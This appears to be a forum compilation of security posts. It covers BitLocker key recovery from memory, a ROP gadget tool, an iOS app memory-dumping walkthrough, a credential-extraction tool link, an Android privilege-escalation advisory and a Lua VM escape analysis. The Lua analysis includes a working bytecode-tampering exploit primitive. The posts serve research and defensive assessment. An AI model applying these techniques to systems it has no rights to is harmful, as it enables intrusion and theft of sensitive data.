library can be used to mount BitLocker protected volumes in Linux using the FVEK and TWEAK data. I make no promises that the plugin is complete and works perfectly, but will hopefully at least be a starting point for further development of a complete BitLocker plugin. Plugin is on GitHub here: https://github.com/tribalchicken/volatility-bitlocker As usual feedback, corrections, criticism (preferably constructive) or further discussion are all welcome. Feel free to contact me. References and Further Reading Practical Cryptographic Key Recovery – Jesse Kornblum Implementing Bitlocker Drive Encryption for Forensic Analysis – Jesse Kornblum libyal / libbde Cryptography API: Next Generation – Microsoft Sursa: https://tribalchicken.com.au/technical/recovering-bitlocker-keys-on-windows-8-1-and-10/

ARM Roper Tool for searching the rop gadgets for ARM. Basically, refactorisation of the MyROP project, with further plans for features like converting to python string, blah blah. Installation For deps just run: sudo pip install -r requirements.txt Also you will need a capstone libs installed. After that you can try roper with: ./armroper.py -h Usage spx@galactica ~/c/armroper> ./armroper.py -h usage: armroper.py [-h] [-f FILENAME] [-d DEPTH] [-m] optional arguments: -h, --help show this help message and exit -f FILENAME, --filename FILENAME -d DEPTH, --depth DEPTH -m, --mode Contributing Fork it! Create your feature branch: git checkout -b my-new-feature Commit your changes: git commit -am 'Add some feature' Push to the branch: git push origin my-new-feature Submit a pull request Credits All the credits goes to the https://github.com/hitmoon/MyRop, and Jonathan Salwan from the shell-storm.org License Check the LICENCE file. Sursa: https://github.com/0xspx/armroper

Prolific Hacker Unmasks Himself ByPYMNTS Posted on March 14, 2016 According to reports by The Next Web, a leader of one of the world’s most notorious hacking teams has elected to unmask himself. The hacking team in question is GhostShell, a collective that, in recent history, has gone after the FBI, NASA and the Pentagon. And that’s just in the U.S. It has also made server attacks on Russian intelligence. That was 2012. Then, nothing for three years, just quiet, until 2015, when they came back, packing some punch. “This time, a much darker, seedier version emerged, hell-bent on destroying anything in its path and leaking information through its ‘dark hacktivism’ campaign for seemingly no other reason than to prove it could,” according to TNW. And then, using a generic email account, someone identifying himself as “White Fox” approached TNW — the name being important because it was also the moniker of a 2012 hacking operation pulled off by GhostShell. As it turns out, the hacker, who identifies himself as G. Razvan Eugen, has started an email list for journalists so that he can tell his story. The text of that letter is copied below. So, is Eugen for real? As verification, he provided a login to the Twitter account that GhostShell uses to disseminate information. He also offered photos, email accounts and even the private Twitter account he had been using to communicate for several years. All in, most tech journalists believe that while there are not locks in this business, this is as close as one could hope for. So, why come clean? According to correspondence between Eugen and TNW: “I just want to own up to my actions, face them head on and hope for the best. What I really want is to continue being part of this industry. Cybersecurity is something that I enjoy to the fullest, even with all the drama that it brings and legal troubles.” “In return, I hope other hackers and hacktivists take inspiration from this example and try to better themselves. Just because you’ve explored parts of the Internet and protested about things that were important to you, doesn’t mean you should be afraid and constantly paranoid of the people around you.” Sursa: http://www.pymnts.com/news/security-and-risk/2016/prolific-hacker-unmasks-himself/

Date Sun, 13 Mar 2016 21:53:34 -0700 Subject Linux 4.5 From Linus Torvalds <> share 0 share 37 So this is later on a Sunday than my usual schedule, because I just couldn't make up my mind whether I should do another rc8 or not, and kept just waffling about it. In the end, I obviously decided not to, but it could have gone either way. We did have one nasty regression that got fixed yesterday, and the networking pull early in the week was larger than I would have wished for. But the block layer should be all good now, and David went through all his networking commits an extra time just to make me feel comfy about it, so in the end I didn't see any point to making the release cycle any longer than usual. And on the whole, everything here is pretty small. The diffstat looks a bit larger for an xfs fix, because that fix has three cleanup refactoring patches that precedes it. And there's a access type pattern fix in the sound layer that generated lots of noise, but is all very simple in the end. In addition to the above, there's random small fixes all over - shortlog appended for people who want to skim the details as usual. Go test, and obviously with 4.5 released, I'll start the merge window for 4.6. Linus Sursa: https://lkml.org/lkml/2016/3/14/50

Dumping Memory on iOS 8 Steve Kerns | March 14, 2016 Back in January of 2015 NetSPI published a blog on extracting memory from an iOS device. Even though NetSPI provided a script to make it easy, it required iOS 7 (or less) and GDB; but GDB is currently no longer on iOS 8. Fortunately, there are other options to GDB and extracting memory from an Apple iPhone running iOS 8+ could not be easier. It requires the following a couple of pieces of software. LLDB (http://lldb.llvm.org/) Debugserver (part of Xcode) Tcprelay.py (https://code.google.com/p/iphonetunnel-mac/source/browse/trunk/gui/tcprelay.py?r=5) Of course you will need a jailbroken iPhone or iPad. I will not cover that part of the operation here. Start tcprelay so you can connect to the device over a USB connection: $ ./tcprelay.py -t 22:2222 1234:1234 Forwarding local port 2222 to remote port 22 Forwarding local port 1234 to remote port 1234 Incoming connection to 2222 Waiting for devices... Connecting to device <MuxDevice: ID 17 ProdID 0x12a8 Serial '0ea150b00ba3deeacb42f399492b7990416a0c87' Location 0x14120000> Connection established, relaying data Incoming connection to 1234 Waiting for devices... Connecting to device <MuxDevice: ID 17 ProdID 0x12a8 Serial '0ea150b00ba3deeacb42f399492b7990416a0c87' Location 0x14120000> Connection established, relaying data The command “tcprelay.py -t 22:2222 1234:1234” is redirecting two local ports to the device. The first one is used to SSH to the device over port 2222. The second one is the port the debugserver will be using. Then you will need to connect to the iOS device and start the debug server (I am assuming you have already copied the software to the device). If not, you can use scp to copy the binary.) $ ssh root@127.0.0.1 -p 2222 root@127.0.0.1's password: Then, if the application is already running, verify its name using ‘ps aux | grep <appname>’ and connect to the application with debugserver (using the name of the application not the PID): root# ./debugserver *:1234 -a appname debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-320.2.89 for arm64. Attaching to process appname... Listening to port 1234 for a connection from *... Waiting for debugger instructions for process 0. The command ‘./debugserver *:1234 -a appname’ is telling the software to startup on port 1234 and hook into the application named ‘appname’. It will take a little time, so be patient. On the MAC, startup LLDB and connect to the debugserver software running on the iOS device. Remember, we have relayed the device port 1234 that the debugserver is listening on to the local port 1234. $ lldb (lldb) process connect connect://127.0.0.1:1234 Process 2017 stopped * thread #1: tid = 0x517f9, 0x380f54f0 libsystem_kernel.dylibmach_msg_trap + 20, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x380f54f0 libsystem_kernel.dylibmach_msg_trap + 20 libsystem_kernel.dylibmach_msg_trap: -> 0x380f54f0 <+20>: pop {r4, r5, r6, r8} 0x380f54f4 <+24>: bx lr libsystem_kernel.dylibmach_msg_overwrite_trap: 0x380f54f8 <+0>: mov r12, sp 0x380f54fc <+4>: push {r4, r5, r6, r8} Now you can dump the information about the memory sections of the application. (lldb) image dump sections appname Sections for '/private/var/mobile/Containers/Bundle/Application/F3CFF345-71FC-47C4-B1FB-3DAC523C7627/appname.app/appname(0x0000000000047000)' (armv7): SectID Type Load Address File Off. File Size Flags Section Name ---------- ---------------- --------------------------------------- ---------- ---------- ---------- ---------------------------- 0x00000100 container [0x0000000000000000-0x0000000000004000)* 0x00000000 0x00000000 0x00000000 appname.__PAGEZERO 0x00000200 container [0x0000000000047000-0x00000000001af000) 0x00000000 0x00168000 0x00000000 appname.__TEXT 0x00000001 code [0x000000000004e6e8-0x000000000016d794) 0x000076e8 0x0011f0ac 0x80000400 appname.__TEXT.__text 0x00000002 code [0x000000000016d794-0x000000000016e5e0) 0x00126794 0x00000e4c 0x80000400 appname.__TEXT.__stub_helper 0x00000003 data-cstr [0x000000000016e5e0-0x0000000000189067) 0x001275e0 0x0001aa87 0x00000002 appname.__TEXT.__cstring 0x00000004 data-cstr [0x0000000000189067-0x00000000001a5017) 0x00142067 0x0001bfb0 0x00000002 appname.__TEXT.__objc_methname 0x00000005 data-cstr [0x00000000001a5017-0x00000000001a767a) 0x0015e017 0x00002663 0x00000002 appname.__TEXT.__objc_classname 0x00000006 data-cstr [0x00000000001a767a-0x00000000001abe0c) 0x0016067a 0x00004792 0x00000002 appname.__TEXT.__objc_methtype 0x00000007 regular [0x00000000001abe10-0x00000000001ac1b8) 0x00164e10 0x000003a8 0x00000000 appname.__TEXT.__const 0x00000008 regular [0x00000000001ac1b8-0x00000000001aeb20) 0x001651b8 0x00002968 0x00000000 appname.__TEXT.__gcc_except_tab 0x00000009 regular [0x00000000001aeb20-0x00000000001aeb46) 0x00167b20 0x00000026 0x00000000 appname.__TEXT.__ustring 0x0000000a code [0x00000000001aeb48-0x00000000001af000) 0x00167b48 0x000004b8 0x80000408 appname.__TEXT.__symbolstub1 0x00000300 container [0x00000000001af000-0x00000000001ef000) 0x00168000 0x00040000 0x00000000 appname.__DATA 0x0000000b data-ptrs [0x00000000001af000-0x00000000001af4b8) 0x00168000 0x000004b8 0x00000007 appname.__DATA.__lazy_symbol 0x0000000c data-ptrs [0x00000000001af4b8-0x00000000001af810) 0x001684b8 0x00000358 0x00000006 appname.__DATA.__nl_symbol_ptr 0x0000000d regular [0x00000000001af810-0x00000000001b2918) 0x00168810 0x00003108 0x00000000 appname.__DATA.__const 0x0000000e objc-cfstrings [0x00000000001b2918-0x00000000001ba8d8) 0x0016b918 0x00007fc0 0x00000000 appname.__DATA.__cfstring 0x0000000f data-ptrs [0x00000000001ba8d8-0x00000000001baf1c) 0x001738d8 0x00000644 0x10000000 appname.__DATA.__objc_classlist 0x00000010 regular [0x00000000001baf1c-0x00000000001baf4c) 0x00173f1c 0x00000030 0x10000000 appname.__DATA.__objc_nlclslist 0x00000011 regular [0x00000000001baf4c-0x00000000001bafa0) 0x00173f4c 0x00000054 0x10000000 appname.__DATA.__objc_catlist 0x00000012 regular [0x00000000001bafa0-0x00000000001bafa4) 0x00173fa0 0x00000004 0x10000000 appname.__DATA.__objc_nlcatlist 0x00000013 regular [0x00000000001bafa4-0x00000000001bb078) 0x00173fa4 0x000000d4 0x00000000 appname.__DATA.__objc_protolist 0x00000014 regular [0x00000000001bb078-0x00000000001bb080) 0x00174078 0x00000008 0x00000000 appname.__DATA.__objc_imageinfo 0x00000015 data-ptrs [0x00000000001bb080-0x00000000001e0d40) 0x00174080 0x00025cc0 0x00000000 appname.__DATA.__objc_const 0x00000016 data-cstr-ptr [0x00000000001e0d40-0x00000000001e4420) 0x00199d40 0x000036e0 0x10000005 appname.__DATA.__objc_selrefs 0x00000017 regular [0x00000000001e4420-0x00000000001e442c) 0x0019d420 0x0000000c 0x00000000 appname.__DATA.__objc_protorefs 0x00000018 data-ptrs [0x00000000001e442c-0x00000000001e4ab8) 0x0019d42c 0x0000068c 0x10000000 appname.__DATA.__objc_classrefs 0x00000019 data-ptrs [0x00000000001e4ab8-0x00000000001e4e48) 0x0019dab8 0x00000390 0x10000000 appname.__DATA.__objc_superrefs 0x0000001a regular [0x00000000001e4e48-0x00000000001e6184) 0x0019de48 0x0000133c 0x00000000 appname.__DATA.__objc_ivar 0x0000001b data-ptrs [0x00000000001e6184-0x00000000001ea02c) 0x0019f184 0x00003ea8 0x00000000 appname.__DATA.__objc_data 0x0000001c data [0x00000000001ea030-0x00000000001ed978) 0x001a3030 0x00003948 0x00000000 appname.__DATA.__data 0x0000001d zero-fill [0x00000000001ed980-0x00000000001edce0) 0x00000000 0x00000000 0x00000001 appname.__DATA.__bss 0x0000001e zero-fill [0x00000000001edce0-0x00000000001edce8) 0x00000000 0x00000000 0x00000001 appname.__DATA.__common 0x00000400 container [0x00000000001ef000-0x0000000000207000) 0x001a8000 0x00015bf0 0x00000000 appname.__LINKEDIT The next step is to convert that output into LLDB commands to actually dump the data in those memory sections. You can probably skip the sections named zero-fill or code. For example, the take the following output: 0x00000003 data-cstr [0x000000000016e5e0-0x0000000000189067) 0x001275e0 0x0001aa87 0x00000002 appname.__TEXT.__cstring Into the LLDB command: Memory read --outfile ~/0x00000003data-cstr 0x000000000016e5e0 0x0000000000189067 –force This command is telling LLDB to dump the memory from address 0x000000000016e5e0 to 0x0000000000189067 and put it into the file 0x00000003data-cstr. (lldb) memory read --outfile ~/0x00000003data-cstr 0x000000000016e5e0 0x0000000000189067 –force You will (or should) not see any output from this command other that the file being created. Once you have all of the files, search them using your favorite search tool or even a text editor. Search for sensitive data (i.e. credit card number, passwords, etc. The files will contain information similar to the following: 0x0016e5e0: 3f 3d 26 2b 00 3a 2f 3d 2c 21 24 26 27 28 29 2a ?=&+.:/=,!$&'()* 0x0016e5f0: 2b 3b 5b 5d 40 23 3f 00 00 62 72 61 6e 64 4c 6f +;[]@#?..brandLo 0x0016e600: 67 6f 2e 70 6e 67 00 54 72 61 64 65 47 6f 74 68 go.png.TradeGoth 0x0016e610: 69 63 4c 54 2d 42 6f 6c 64 43 6f 6e 64 54 77 65 icLT-BoldCondTwe 0x0016e620: 6e 74 79 00 4c 6f 61 64 69 6e 67 2e 2e 2e 00 4c nty.Loading....L 0x0016e630: 6f 61 64 69 6e 67 00 76 31 32 40 3f 30 40 22 4e oading.v12@?0@"N 0x0016e640: 53 44 61 74 61 22 34 40 22 45 70 73 45 72 72 6f SData"4@"EpsErro 0x0016e650: 72 22 38 00 6c 6f 61 64 69 6e 67 50 61 67 65 54 r"8.loadingPageT 0x0016e660: 79 70 65 00 54 69 2c 4e 2c 56 5f 6c 6f 61 64 69 ype.Ti,N,V_loadi 0x0016e670: 6e 67 50 61 67 65 54 79 70 65 00 6f 76 65 72 76 ngPageType.overv 0x0016e680: 69 65 77 52 65 71 52 65 73 48 61 6e 64 6c 65 72 iewReqResHandler 0x0016e690: 00 54 40 22 45 70 73 4f 76 65 72 76 69 65 77 52 .T@"EpsOverviewR 0x0016e6a0: 65 71 52 65 73 48 61 6e 64 6c 65 72 22 2c 26 2c eqResHandler",&, 0x0016e6b0: 4e 2c 56 5f 6f 76 65 72 76 69 65 77 52 65 71 52 N,V_overviewReqR 0x0016e6c0: 65 73 48 61 6e 64 6c 65 72 00 41 50 49 43 61 6c esHandler.APICal Have fun looking at the iOS application memory and use this process for only good intentions. As stated in the previously mentioned blog: This technique can be used to determine if the application is not removing sensitive information from memory once the instantiated classes are done with the data. All applications should de-allocate spaces in memory that deal with classes and methods that were used to handle sensitive information, otherwise you run the risk of the information sitting available in memory for an attacker to see. Sursa: https://blog.netspi.com/dumping-memory-on-ios-8/

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Subgraph OS: Adversary resistant computing platform. Subgraph believes that the best way to empower people to communicate and live freely is to develop technology that is secure, free, open-source, and verifiably trustworthy. Subgraph OS is an important part of that vision. The Internet is a hostile environment, and recent revelations have made it more apparent than ever before that risk to every day users extends beyond the need to secure the network transport - the endpoint is also at risk. Subgraph OS was designed from the ground-up to reduce the risks in endpoint systems so that individuals and organizations around the world can communicate, share, and collaborate without fear of surveillance or interference by sophisticated adversaries through network borne attacks. Subgraph OS is designed to be difficult to attack. This is accomplished through system hardening and a proactive, ongoing focus on security and attack resistance. Subgraph OS also places emphasis on the integrity of installable software packages. Link: https://subgraph.com/sgos/index.en.html

PowerMemory Exploit the credentials present in files and memory Link: https://github.com/giMini/PowerMemory

Binary code obfuscation through C++ template metaprogramming Samuel Neves and Filipe Araujo CISUC, Department of Informatics Engineering University of Coimbra, Portugal {sneves,filipius}@dei.uc.pt Abstract. Defending programs against illegitimate use and tampering has become both a field of study and a large industry. Code obfuscation is one of several strategies to stop, or slow down, malicious attackers from gaining knowledge about the internal workings of a program. Binary code obfuscation tools often come in two (sometimes overlapping) flavors. On the one hand there are “binary protectors”, tools outside of the development chain that translate a compiled binary into another, less intelligible one. On the other hand there are software development kits that require a significant effort from the developer to ensure the program is adequately obfuscated. In this paper, we present obfuscation methods that are easily integrated into the development chain of C++ programs, by using the compiler itself to perform the obfuscated code generation. This is accomplished by using advanced C++ techniques, such as operator overloading, template metaprogramming, expression templates, and more. We achieve obfuscated code featuring randomization, opaque predicates and data masking. We evaluate our obfuscating transformations in terms of potency, resilience, stealth, and cost. Download: https://eden.dei.uc.pt/~sneves/pubs/2012-snfa2.pdf

WinDBG Anti-RootKit Extension v1.5 released Posted on 15.02.2015 by SWW WDBGARK is an extension (dynamic library) for the Microsoft Debugging Tools for Windows. It main purpose is to view and analyze anomalies in Windows kernel using kernel debugger. It is possible to view various system callbacks, system tables, object types and so on. For more user-friendly view extension uses DML. For the most of the commands kernel-mode connection required. Feel free to use extension with live kernel-mode debugging or with kernel-mode crash dump analysis (some commands will not work). Public symbols required, so use them, force to reload them, ignore checksum problems, prepare them before analysis and you’ll be happy. Open source project hosted on GitHub, C++, nice Wiki – all of this made completely in my spare time just for fun. First public version is simple, but I have plans to continue development. WinDBG Anti-RootKit Extension https://github.com/swwwolf/wdbgark 21 forks. 1 open issues. Recent commits: Code style fixing;Code Integrity information output tabbed; workaround for unresolvedexternal;, swwwolf optimization, swwwolf replace Microsoft's specific types with C++ types, swwwolf use WDbgArkSymbolsBase, swwwolf use WDbgArkSymbolsBase, swwwolf Sursa: http://sww-it.ru/2015-02-15/1242#.VuXglsjs4Ig.twitter

Android: Stack Memory Corruption in BnBluetoothGattServer and BnBluetoothGatServerCallback IPC Android: Stack Memory Corruption in BnBluetoothGattServer and BnBluetoothGatServerCallback IPC Platform: Based on current master in AOSP Class: Elevation of Privilege This is in pre-release code and might not actually be vulnerable on a real device. While it’s probably only available in Brillo atm there are indications that it might become the default BT stack on later versions of Android so fixing it now would be good. I’ve not been able to test it directly but I have verified the code is vulnerable by building a copy for another device. Summary: The SEND_RESPONSE_TRANSACTION and SEND_NOTIFICATION_TRANSACTION IPC calls in BnBluetoothGattServer::onTransact are vulnerable to stack corruption which could allow an attacker to locally elevate privileges to the level of the bluetooth service. Description: The system/bt/service/common/bluetooth/binder/IBluetoothGattServer.cpp file which is part of a new Bluetooth stack for Brillo contains a binder service which has SEND_RESPONSE_TRANSACTION and SEND_NOTIFICATION_TRANSACTION calls. The handlers for these calls have a vulnerability where it’s possible to move the stack pointer out of bounds and get selective memory corruption on the stack. Note that BnBluetoothGattServerCallback also has similar code patterns in its ON_CHARACTERISTIC_WRITE_REQUEST_TRANSACTION and ON_DESCRIPTOR_WRITE_REQUEST_TRANSACTION calls. Link: https://code.google.com/p/google-security-research/issues/detail?id=712

Analysis of VM escape by using LUA script Author: virustracker Time: February 29, 2016 Category: default Author: boywhp@126.com From: http://drops.wooyun.org/tips/12677 0x00 LUA Data Breaches Lua provides a string.dump that is used to dump a lua function into a LUA bytecode. And the loadingstring function is able to load a bytecode into a LUA function. Through manipulating LUA raw bytecodes, the LUA interpreter will be made into a special state and bugs will rise. asnum = loadstring(string.dump(function(x) for i = x, x, 0 do return i end end):gsub("\96%z%z\128", "\22\0\0\128")) The length of LUA bytecode is fixed with 32 bits, i.e.4 bytes, defined as: It’s comprised of opcodes, R(A), R(B), R(C), R(Bx) and R(sBx) where A, B and C each represent an index of LUA registers. The asnum function can transform any LUA objects to numbers (note: under LUA5.1 64bitLinux). The gsub function uses bytecode \22\0\0\128 to replace \96%z%z\128, as shown below: 0071 60000080 [4] forprep 1 1 ; to [6] 0075 1E010001 [5] return 4 2 0079 5F40FF7F [6] forloop 1 -2 ; to [5] if loop Aftere executing the gsub function, the forprep instruction is replaced as JMP to [6] and the following shows the corresponding code for the foreprep instruction in LUA interpreter: case OP_FORPREP: { const TValue *init = ra; const TValue *plimit = ra+1; const TValue *pstep = ra+2; L->savedpc = pc; /* next steps may throw errors */ if (!tonumber(init, ra)) luaG_runerror(L, LUA_QL("for") " initial value must be a number"); else if (!tonumber(plimit, ra+1)) luaG_runerror(L, LUA_QL("for") " limit must be a number"); else if (!tonumber(pstep, ra+2)) luaG_runerror(L, LUA_QL("for") " step must be a number"); setnvalue(ra, luai_numsub(nvalue(ra), nvalue(pstep))); dojump(L, pc, GETARG_sBx(i)); continue; Under normal circumstances of LUA, the forprep instruction will check if the parameter is number-type and execute initialization. However, since bytecodes are replaced to JMP, the check for LUA types is skipped and execution directly enters into the forloop instruction. case OP_FORLOOP: { lua_Number step = nvalue(ra+2); lua_Number idx = luai_numadd(nvalue(ra), step); /* increment index */ lua_Number limit = nvalue(ra+1); if (luai_numlt(0, step) ? luai_numle(idx, limit) : luai_numle(limit, idx)) { dojump(L, pc, GETARG_sBx(i)); /* jump back */ setnvalue(ra, idx); /* update internal index... */ setnvalue(ra+3, idx); /* ...and external index */ } continue; } The forloop instruction will directly transform the loop parameters to Lua Number (double) and perform add operation (+0), and then execute dojump return; finally, it returns lua Number. LUA uses TValue to represent generic data objects using the following format: Value(64bit) tt(32bit) padd(32bit) n LUA_TNUMBER GCObject *gc; -> TString* LUA_TSTRING GCObject *gc; -> Closure* LUA_TFUNCTION Articol complet: http://en.wooyun.io/2016/02/29/44.html

ELF: dynamic struggles Mar 12, 2016 Intro Every ELF64 binary starts with this header: typedef struct elf64_hdr { unsigned char e_ident[EI_NIDENT]; Elf64_Half e_type; Elf64_Half e_machine; Elf64_Word e_version; Elf64_Addr e_entry; Elf64_Off e_phoff; Elf64_Off e_shoff; Elf64_Word e_flags; Elf64_Half e_ehsize; Elf64_Half e_phentsize; Elf64_Half e_phnum; Elf64_Half e_shentsize; Elf64_Half e_shnum; Elf64_Half e_shstrndx; } Elf64_Ehdr; We are only going to concern ourselves with dynamically linked Elf64_Ehdr.e_type =ET_EXEC (executable files) or ET_DYN (dynamic shared objects, basically shared libraries). Note: If you don’t know what dynamic linking means, I suggest to read this article. I will not mention ELF sections on purpose. They are not relevant in executables and shared libraries. They don’t have to be there and should be treated like a nice bonus when they actually are. See sstrip. This “technique” is used by malware fairly often and you don’t need sstrip to do the job. e_phoff specifies the start of a program header table (PHT) in the file. The PHT is made of Elf64_Phdr entries (segments): typedef struct elf64_phdr { Elf64_Word p_type; Elf64_Word p_flags; Elf64_Off p_offset; /* Segment file offset */ Elf64_Addr p_vaddr; /* Segment virtual address */ Elf64_Addr p_paddr; /* Segment physical address */ Elf64_Xword p_filesz; /* Segment size in file */ Elf64_Xword p_memsz; /* Segment size in memory */ Elf64_Xword p_align; /* Segment alignment, file & memory */ } Elf64_Phdr; p_type can have values such as PT_LOAD, PT_DYNAMIC, PT_INTERP etc. When loading an ELF binary, the linux kernel looks for PT_LOAD segments and maps them into memory (among other things). When doing so, it uses both p_offset(segment file offset) and p_vaddr (the address where to map the segment into memory). ELF segments can overlap in the file. Usually, there are 2 PT_LOADsegments - 1 for code (R-X) and 1 for data (RW-). There can also be just 1 or more than 2. Whenever a virtual address needs to be converted to a file offset, it can be done like this: for(int i = 0; i < ehdr->e_phnum; i++) { if(seg.p_type != PT_LOAD) continue; if(va >= seg.p_vaddr && va < seg.p_vaddr + seg.p_memsz) { offset = seg.p_offset + (va - seg.p_vaddr); } } When you dynamically link an ELF, PT_DYNAMIC can be found in the program header table of the resulting binary. It usually belongs to the second PT_LOAD segment, therefore it is loaded into memory. PT_INTERP specifies the dynamic interpreter and the kernel is very sensitive about it. PT_DYNAMIC is an array of dynamic entries: typedef struct { Elf64_Sxword d_tag; /* entry tag value */ union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un; } Elf64_Dyn; d_tag is the type of the dynamic entry. Dynamic entries contain vital information for the dynamic linker. Information such as symbol relocations to figure out what API are you trying to call (simplified) etc. Case: executable binaries Let’s compile a program and look at it with radare2 (always use the git version)! I am using radare on OS X: $ r2 -v radare2 0.10.2-git 10555 @ darwin-little-x86-64 git.0.10.1-99-g747699f commit: 747699f712d7cc0402b20c9313a16634e68d7764 build: 2016-03-11 #include <fcntl.h> #include <unistd.h> int main() { int fd = open("hello", O_CREAT | O_TRUNC | O_WRONLY); if(fd > 0) { write(fd, "world", 5); close(fd); } return 0; } I am using gcc (Debian 4.9.2-10) 4.9.2 ldd (Debian GLIBC 2.19-18+deb8u3) 2.19 onDebian 8.3 x64. Articol complet: https://michalmalik.github.io/elf-dynamic-segment-struggles